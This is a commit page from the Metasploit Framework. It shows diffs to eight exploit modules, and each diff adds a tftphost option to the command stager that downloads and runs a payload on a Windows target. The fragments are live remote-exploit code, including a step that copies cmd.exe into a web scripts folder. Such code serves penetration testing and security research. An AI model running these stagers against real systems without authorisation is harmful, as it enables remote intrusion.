Land #16727, set tftphost option

This commit is contained in:
space-r7 2022-07-12 15:29:42 -05:00
commit ccef129807
No known key found for this signature in database
GPG Key ID: DE80BD86F1B96C84
8 changed files with 16 additions and 14 deletions

View File

@ -91,7 +91,8 @@ class MetasploitModule < Msf::Exploit::Remote
def windows_stager
print_status("Sending request to #{datastore['RHOST']}:#{datastore['RPORT']}")
execute_cmdstager({ :temp => '.' })
tftphost = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address : datastore['SRVHOST']
execute_cmdstager({ temp: '.', tftphost: tftphost })
@payload_exe = generate_payload_exe
print_status("Attempting to execute the payload...")

View File

@ -106,7 +106,8 @@ class MetasploitModule < Msf::Exploit::Remote
exe_fname = rand_text_alphanumeric(4 + rand(4)) + ".exe"
print_status("Sending request to #{datastore['RHOST']}:#{datastore['RPORT']}")
execute_cmdstager({ :temp => '.' })
tftphost = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address : datastore['SRVHOST']
execute_cmdstager({ temp: '.', tftphost: tftphost })
@payload_exe = generate_payload_exe
print_status("Attempting to execute the payload...")

View File

@ -50,16 +50,13 @@ class MetasploitModule < Msf::Exploit::Remote
end
def windows_stager
exe_fname = rand_text_alphanumeric(4+rand(4)) + ".exe"
print_status("Sending request to #{datastore['RHOST']}:#{datastore['RPORT']}")
execute_cmdstager({ :temp => '.', :cgifname => exe_fname })
tftphost = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address : datastore['SRVHOST']
execute_cmdstager({ temp: '.', tftphost: tftphost })
@payload_exe = generate_payload_exe
print_status("Attempting to execute the payload...")
execute_command(@payload_exe)
end
def execute_command(cmd, opts = {})

View File

@ -53,7 +53,8 @@ class MetasploitModule < Msf::Exploit::Remote
def windows_stager
print_status("Sending request to #{datastore['RHOST']}:#{datastore['RPORT']}")
execute_cmdstager({ :temp => '.' })
tftphost = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address : datastore['SRVHOST']
execute_cmdstager({ temp: '.', tftphost: tftphost })
@payload_exe = generate_payload_exe
print_status("Attempting to execute the payload...")

View File

@ -54,12 +54,12 @@ class MetasploitModule < Msf::Exploit::Remote
def windows_stager
print_status("Sending request to #{datastore['RHOST']}:#{datastore['RPORT']}")
execute_cmdstager({ :temp => '.' })
tftphost = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address : datastore['SRVHOST']
execute_cmdstager({ temp: '.', tftphost: tftphost })
@payload_exe = generate_payload_exe
print_status("Attempting to execute the payload...")
execute_command(@payload_exe)
end
def execute_command(cmd, opts = {})

View File

@ -344,7 +344,8 @@ class MetasploitModule < Msf::Exploit::Remote
res = exec_cmd(y, "cmd /c copy cmd.exe \\inetpub\\scripts\\#{exe_fname}", z)
# Use the CMD stager to get a payload running
execute_cmdstager({ :temp => '.', :linemax => 1400, :cgifname => exe_fname })
tftphost = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address : datastore['SRVHOST']
execute_cmdstager({ temp: '.', tftphost: tftphost, linemax: 1_400, cgifname: exe_fname, noconcat: true })
# Save these file names for later deletion
@exe_cmd_copy = exe_fname

View File

@ -173,7 +173,8 @@ Processor-Speed=#{processor_speed}
# CmdStagerVBS was tested here as well, however delivery took roughly
# 30 minutes and required sending almost 350 notification messages.
# size constraint requirement for SQLi is: linemax => 393
execute_cmdstager({ :delay => 1.5, :temp => '%TEMP%\\', :flavor => :tftp })
tftphost = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address : datastore['SRVHOST']
execute_cmdstager({ delay: 1.5, tftphost: tftphost, temp: '%TEMP%\\', flavor: :tftp })
end
def on_new_session(client)

View File

@ -99,8 +99,8 @@ class MetasploitModule < Msf::Exploit::Remote
method = datastore['METHOD'].downcase
if (method =~ /^cmd/)
execute_cmdstager({ :linemax => 1500, :nodelete => true })
#execute_cmdstager({ :linemax => 1500 })
tftphost = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address : datastore['SRVHOST']
execute_cmdstager({ linemax: 1500, tftphost: tftphost, nodelete: true })
else
# Generate the EXE, this is the same no matter what delivery mechanism we use
exe = generate_payload_exe